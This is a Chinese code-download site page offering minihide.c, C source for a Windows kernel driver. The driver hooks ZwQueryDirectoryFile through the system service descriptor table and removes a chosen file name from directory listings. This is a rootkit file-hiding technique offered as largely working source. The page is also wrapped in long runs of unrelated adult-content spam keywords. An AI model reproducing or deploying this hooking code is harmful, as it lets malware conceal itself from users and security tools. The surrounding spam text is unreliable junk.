亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? minihide.c

?? 用驅動隱藏文件。最精簡版。ddk,c原碼
?? C
字號:
#include <wdm.h> 

// http://manbu.net/Lib/Class9/Sub1/56/22.asp 
// http://sg.kehui.net/index.php/article/read/1/19809 
// http://blog.donews.com/zwell/archive/2005/01/10/232227.aspx 
// http://dev.csdn.net/article/21/21216.shtm 
// http://www.vchelp.net/itbookreview/view_paper.asp?paper_id=920 
// http://www.allife.org/index.php?job=art&articleid=a_20060117_133527 

typedef unsigned int UINT; 
typedef char * PCHAR; 
typedef unsigned long BOOL; 
typedef unsigned long DWORD; 

#define FileBothDirectoryInformation 3

typedef struct _FILE_BOTH_DIR_INFORMATION { 
    ULONG           NextEntryOffset; 
    ULONG           FileIndex; 
    LARGE_INTEGER   CreationTime; 
    LARGE_INTEGER   LastAccessTime; 
    LARGE_INTEGER   LastWriteTime; 
    LARGE_INTEGER   ChangeTime; 
    LARGE_INTEGER   EndOfFile; 
    LARGE_INTEGER   AllocationSize; 
    ULONG           FileAttributes; 
    ULONG           FileNameLength; 
    ULONG           EaSize; 
    CCHAR           ShortNameLength; 
    WCHAR           ShortName[12]; 
    WCHAR           FileName[1]; 
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; 

VOID RtlUpperString(IN OUT PSTRING  DestinationString, IN PSTRING  SourceString); 

extern NTSYSAPI NTSTATUS NTAPI 
ZwQueryDirectoryFile(IN HANDLE hFile, 
                     IN HANDLE hEvent OPTIONAL, 
                     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                     IN PVOID IoApcContext OPTIONAL, 
                     OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                     OUT PVOID FileInformationBuffer, 
                     IN ULONG FileInformationBufferLength, 
                     IN FILE_INFORMATION_CLASS FileInfoClass, 
                     IN BOOLEAN bReturnOnlyOneEntry, 
                     IN PUNICODE_STRING PathMask OPTIONAL, 
                     IN BOOLEAN bRestartQuery); 

typedef NTSTATUS (* REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile, 
            IN HANDLE hEvent OPTIONAL, 
            IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
            IN PVOID IoApcContext OPTIONAL, 
            OUT PIO_STATUS_BLOCK pIoStatusBlock, 
            OUT PVOID FileInformationBuffer, 
            IN ULONG FileInformationBufferLength, 
            IN FILE_INFORMATION_CLASS FileInfoClass, 
            IN BOOLEAN bReturnOnlyOneEntry, 
            IN PUNICODE_STRING PathMask OPTIONAL, 
            IN BOOLEAN bRestartQuery); 

// 定義一個原函數指針 
REALZWQUERYDIRECTORYFILE RealZwQueryDirectoryFile; 

// 3. 定義替換 API 函數的原型: 
// 
NTSTATUS HookZwQueryDirectoryFile( 
          IN HANDLE hFile, 
          IN HANDLE hEvent OPTIONAL, 
          IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
          IN PVOID IoApcContext OPTIONAL, 
          OUT PIO_STATUS_BLOCK pIoStatusBlock, 
          OUT PVOID FileInformationBuffer, 
          IN ULONG FileInformationBufferLength, 
          IN FILE_INFORMATION_CLASS FileInfoClass, 
          IN BOOLEAN bReturnOnlyOneEntry, 
          IN PUNICODE_STRING PathMask OPTIONAL, 
          IN BOOLEAN bRestartQuery); 

// -=描述 SYSTEMSERVICE 的定義=- 

typedef struct ServiceDescriptorEntry { 
    unsigned int * ServiceTableBase;        // 關鍵字段, 指向系統(tǒng)服務分發(fā)例程的基地址 
    unsigned int * ServiceCounterTableBase; 
    unsigned int NumberOfServices; 
    unsigned char * ParamTableBase; 
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; 

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] 


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath); 
void HideFile_Unload(PDRIVER_OBJECT DriverObject); 

#pragma alloc_text(INIT, DriverEntry) 
#pragma alloc_text(PAGE, HideFile_Unload) 


NTSTATUS    DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) 
{ 
    NTSTATUS    NtStatus = STATUS_SUCCESS; 
    UINT        uiIndex = 0; 
    PDEVICE_OBJECT  pDeviceObject = NULL; 
    UNICODE_STRING  usDriverName, usDosDeviceName; 

    DbgPrint("DriverEntry Called\r\n"); 

    RtlInitUnicodeString(&usDriverName, L"\\Device\\HideFile"); 
    RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile"); 

    NtStatus = IoCreateDevice(pDriverObject, 
        0, 
        &usDriverName, 
        FILE_DEVICE_UNKNOWN, 
        FILE_DEVICE_SECURE_OPEN, 
        FALSE, 
        &pDeviceObject); 
    if (STATUS_SUCCESS == NtStatus) { 
        pDriverObject->DriverUnload = HideFile_Unload; 
    }

    pDeviceObject->Flags |= DO_DIRECT_IO; 
    pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING); 

    IoCreateSymbolicLink(&usDosDeviceName, &usDriverName); 
    
    // 4. 在 DriverEntry(驅動入口)函數中加入如下申明: 
    // 保存真正的 ZwQueryDirectoryFile 函數地址 
    RealZwQueryDirectoryFile = (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
    
    // 把自定義的替換函數指針指向真正的ZwQueryDirectoryFile函數
    (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = HookZwQueryDirectoryFile; 

    return NtStatus; 
} 

void HideFile_Unload(PDRIVER_OBJECT DriverObject) 
{ 
    UNICODE_STRING usDosDeviceName; 

    // 5.在DriverUnload(驅動卸載函數)函數中加入恢復代碼: 
    //恢復原來的函數指針 
    (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) = RealZwQueryDirectoryFile;

    DbgPrint("HideFile_Unload Called\r\n"); 

    RtlInitUnicodeString(&usDosDeviceName, L"\\DosDevices\\HideFile"); 
    IoDeleteSymbolicLink(&usDosDeviceName); 

    IoDeleteDevice(DriverObject->DeviceObject); 
} 


//   6. 現在準備工作做好了, 函數指針都已經設置轉向了, 剩下的是實現這個我們自定義的 
//      替換函數 HookZwQueryDirectoryFile, 代碼如下: 
// 
NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile, 
                                  IN HANDLE hEvent OPTIONAL, 
                                  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                                  IN PVOID IoApcContext OPTIONAL, 
                                  OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                                  OUT PVOID FileInformationBuffer, 
                                  IN ULONG FileInformationBufferLength, 
                                  IN FILE_INFORMATION_CLASS FileInfoClass, 
                                  IN BOOLEAN bReturnOnlyOneEntry, 
                                  IN PUNICODE_STRING PathMask OPTIONAL, 
                                  IN BOOLEAN bRestartQuery) 
{ 
    NTSTATUS rc; 
    
    ANSI_STRING ansiHideDirFile; 
    
    // 初始化要過濾的文件名這里是 debug.exe 
    // 這里字符串是常量, 不用釋放 
    RtlInitAnsiString(&ansiHideDirFile, "DBGVIEW.EXE"); 
    
    // 執(zhí)行真正的 ZwQueryDirectoryFile 函數 
    rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))( 
        hFile, 
        hEvent, 
        IoApcRoutine, 
        IoApcContext, 
        pIoStatusBlock, 
        FileInformationBuffer, 
        FileInformationBufferLength, 
        FileInfoClass, 
        bReturnOnlyOneEntry, 
        PathMask, 
        bRestartQuery); 

    // 如果執(zhí)行成功, 而且 FILE_INFORMATION_CLASS 的值為 FileBothDirectoryInformation, 我們就進行處理, 過濾 
    if(NT_SUCCESS(rc) && (FileInfoClass == FileBothDirectoryInformation)) 
    { 
        UNICODE_STRING uniFileName; 

        PFILE_BOTH_DIR_INFORMATION pFileInfo; 
        PFILE_BOTH_DIR_INFORMATION pLastFileInfo; 
        BOOL bLastOne=FALSE; 

        // 把執(zhí)行結果賦給 pFileInfo 
        pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer; 
        pLastFileInfo = NULL; 

        // 循環(huán)檢查 
        do { 
            ANSI_STRING ansiDesFileName, ansiSrcFileName; 

            bLastOne = (0 == pFileInfo->NextEntryOffset); 

            RtlInitUnicodeString(&uniFileName, pFileInfo->FileName); // uniFileName 不用釋放 

            RtlUnicodeStringToAnsiString(&ansiDesFileName, &uniFileName, TRUE); // TRUE, 必須釋放 
            RtlUnicodeStringToAnsiString(&ansiSrcFileName, &uniFileName, TRUE); 
            
            RtlUpperString(&ansiDesFileName, &ansiSrcFileName); 

            // 打印結果, 用 debugview 可以查看打印結果 
            DbgPrint("ansiFileName :%s\n", ansiDesFileName.Buffer); 
            DbgPrint("HideDirFile :%s\n", ansiHideDirFile.Buffer); 
            
            // 開始進行比較, 如果找到了就隱藏這個文件或者目錄 
            if( RtlCompareMemory(ansiDesFileName.Buffer, ansiHideDirFile.Buffer, ansiHideDirFile.Length) == ansiHideDirFile.Length) 
            { 
                DbgPrint("This is HideDirFile!\n"); 
                if(bLastOne) 
                { 
                    if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer ) 
                    { 
                        rc = 0x80000006; // 隱藏文件或者目錄; 
                    } 
                    else 
                    { 
                        pLastFileInfo->NextEntryOffset = 0; 
                    } 
                    RtlFreeAnsiString(&ansiSrcFileName); //=========================== 
                    RtlFreeAnsiString(&ansiDesFileName); //=========================== 
                    break; 
                } 
                else //指針往后移動 
                { 
                    int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer; 
                    int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset; 
                    RtlCopyMemory( (PVOID)pFileInfo, 
                        (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), 
                        (DWORD)iLeft ); 
                    
                    RtlFreeAnsiString(&ansiSrcFileName); //===========================  
                    RtlFreeAnsiString(&ansiDesFileName); //=========================== 
                    continue; 
                } 
            } 
            pLastFileInfo = pFileInfo; 
            pFileInfo = (PFILE_BOTH_DIR_INFORMATION) 
                ((char *)pFileInfo + pFileInfo->NextEntryOffset); 
            
            RtlFreeAnsiString(&ansiSrcFileName); //===========================  
            RtlFreeAnsiString(&ansiDesFileName); //=========================== 

        } while ( FALSE == bLastOne ); 
    } 
    return(rc); 
} 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品亲子伦对白| 欧美在线视频你懂得| 一区二区高清在线| 欧美一区二区久久| 成人国产精品免费观看| 亚洲成人av一区二区| 欧美国产一区视频在线观看| 欧美视频一区二区在线观看| 国产一区二区按摩在线观看| 亚洲国产日韩综合久久精品| 国产精品日韩精品欧美在线| 日韩一区二区在线观看视频播放| 色视频欧美一区二区三区| 国产精品 日产精品 欧美精品| 肉色丝袜一区二区| 国产精品99久久久久久有的能看| 亚洲欧美在线另类| 久久精品一区二区三区不卡牛牛| 欧美日韩精品一区二区三区| 国产成人久久精品77777最新版本| 香蕉加勒比综合久久| 亚洲人成在线观看一区二区| 欧美激情一区二区三区在线| 日韩午夜中文字幕| 91精品国产综合久久久久久久| 色婷婷精品大在线视频| 国产69精品一区二区亚洲孕妇| 美女免费视频一区二区| 轻轻草成人在线| 午夜激情一区二区三区| 亚洲自拍与偷拍| 亚洲宅男天堂在线观看无病毒| 亚洲色图在线看| 亚洲乱码国产乱码精品精可以看| 日韩一区在线播放| 亚洲人妖av一区二区| 亚洲乱码国产乱码精品精小说| 亚洲天堂网中文字| 亚洲电影一级黄| 经典三级一区二区| 天天综合网天天综合色| 麻豆91精品视频| 狠狠色伊人亚洲综合成人| 久久99久久久久久久久久久| 裸体健美xxxx欧美裸体表演| 日日夜夜免费精品| 韩国精品在线观看| 不卡视频一二三| 欧美丰满少妇xxxxx高潮对白| 91麻豆精品秘密| 欧美日韩国产123区| 制服.丝袜.亚洲.中文.综合| 亚洲国产成人自拍| 亚洲3atv精品一区二区三区| 国产高清一区日本| 在线观看一区不卡| 国产精品入口麻豆九色| 蜜臀av性久久久久蜜臀av麻豆| 白白色亚洲国产精品| 久久蜜桃香蕉精品一区二区三区| |精品福利一区二区三区| 乱中年女人伦av一区二区| 69成人精品免费视频| 亚洲一区二区av在线| 色偷偷久久人人79超碰人人澡| 国产午夜精品久久久久久免费视| 久久精品国产在热久久| 制服丝袜亚洲色图| 日韩激情av在线| 欧美电影免费观看高清完整版在线观看| 亚洲国产视频在线| 欧美精品在线观看一区二区| 日韩国产成人精品| 日韩一区二区电影| 精品一区二区三区日韩| 精品日韩在线一区| 国产福利91精品| 亚洲欧美日韩人成在线播放| 蜜桃一区二区三区在线| 91麻豆精品国产自产在线观看一区 | 91在线播放网址| 中文字幕巨乱亚洲| 91香蕉视频mp4| 亚洲精品乱码久久久久久日本蜜臀 | 精品影视av免费| 2021久久国产精品不只是精品| 久热成人在线视频| 久久九九99视频| 色先锋资源久久综合| 一级女性全黄久久生活片免费| 91在线视频在线| 日韩va欧美va亚洲va久久| 亚洲精品一区二区三区香蕉| 国产精品资源在线| 亚洲乱码中文字幕| 欧美一三区三区四区免费在线看| 久久99精品久久久久婷婷| 欧美一区二区三区公司| 国产99久久久精品| 亚洲一级二级三级| 久久久激情视频| 欧美怡红院视频| 高清久久久久久| 天堂一区二区在线| 亚洲国产精品v| 91麻豆精品国产综合久久久久久| 国产曰批免费观看久久久| 亚洲乱码中文字幕| 国产日产欧美一区| 欧美一卡二卡三卡四卡| 国产成人精品亚洲午夜麻豆| 自拍偷拍亚洲综合| 久久精品亚洲麻豆av一区二区| 高清国产午夜精品久久久久久| 精品在线你懂的| 日本欧美韩国一区三区| 亚洲另类中文字| 中文字幕中文在线不卡住| 亚洲免费av在线| 中文字幕在线一区| 国产欧美综合色| 久久久精品免费免费| 精品免费视频一区二区| 91精品国产乱码| 88在线观看91蜜桃国自产| 日本高清不卡一区| 91亚洲精品乱码久久久久久蜜桃| 不卡免费追剧大全电视剧网站| 国产乱码字幕精品高清av| 极品少妇一区二区| 91精品国产麻豆| 日韩欧美国产小视频| 日韩欧美一区二区在线视频| 欧美一区二区三级| 欧美不卡激情三级在线观看| 精品成人免费观看| 久久久久国产免费免费| 精品精品欲导航| 国产亚洲精久久久久久| 亚洲色图一区二区三区| 亚洲va中文字幕| 国产乱国产乱300精品| 成人av手机在线观看| 欧美日韩精品一区二区三区四区 | 4438x亚洲最大成人网| 91精品一区二区三区在线观看| 欧美一区二区三区喷汁尤物| 日韩欧美国产综合| 亚洲色图清纯唯美| 蜜臀精品一区二区三区在线观看| 国产91富婆露脸刺激对白| 色婷婷av一区二区三区软件| 欧美日免费三级在线| 久久精品亚洲精品国产欧美| 亚洲精品欧美激情| 麻豆精品一区二区av白丝在线| 成人精品一区二区三区中文字幕| 欧美怡红院视频| 精品噜噜噜噜久久久久久久久试看| 亚洲欧美日韩国产手机在线| 久久精品99久久久| 欧美日精品一区视频| 亚洲精品成人少妇| 成人深夜福利app| 精品福利一二区| 午夜精品影院在线观看| 色域天天综合网| 国产精品二三区| 国产精选一区二区三区| 日韩精品资源二区在线| 亚洲成人午夜电影| 丁香天五香天堂综合| 91精品婷婷国产综合久久| 亚洲国产精品一区二区www在线 | 国产91精品在线观看| 精品少妇一区二区三区免费观看 | 国内外精品视频| 欧美成人一区二区三区| 伊人色综合久久天天人手人婷| 成年人国产精品| 日韩欧美在线1卡| 日韩一区精品字幕| 欧美日韩国产中文| 免费在线看一区| 欧美白人最猛性xxxxx69交| 精品一区在线看| 国产视频视频一区| 麻豆国产精品视频| 日韩一区二区三区电影在线观看| 中文字幕欧美激情一区| 国产精华液一区二区三区| 国产日本欧美一区二区| 91久久一区二区| 美女脱光内衣内裤视频久久网站| 日韩欧美三级在线| 盗摄精品av一区二区三区| 亚洲精品视频在线看| 欧美成人综合网站| aaa国产一区| 无码av中文一区二区三区桃花岛|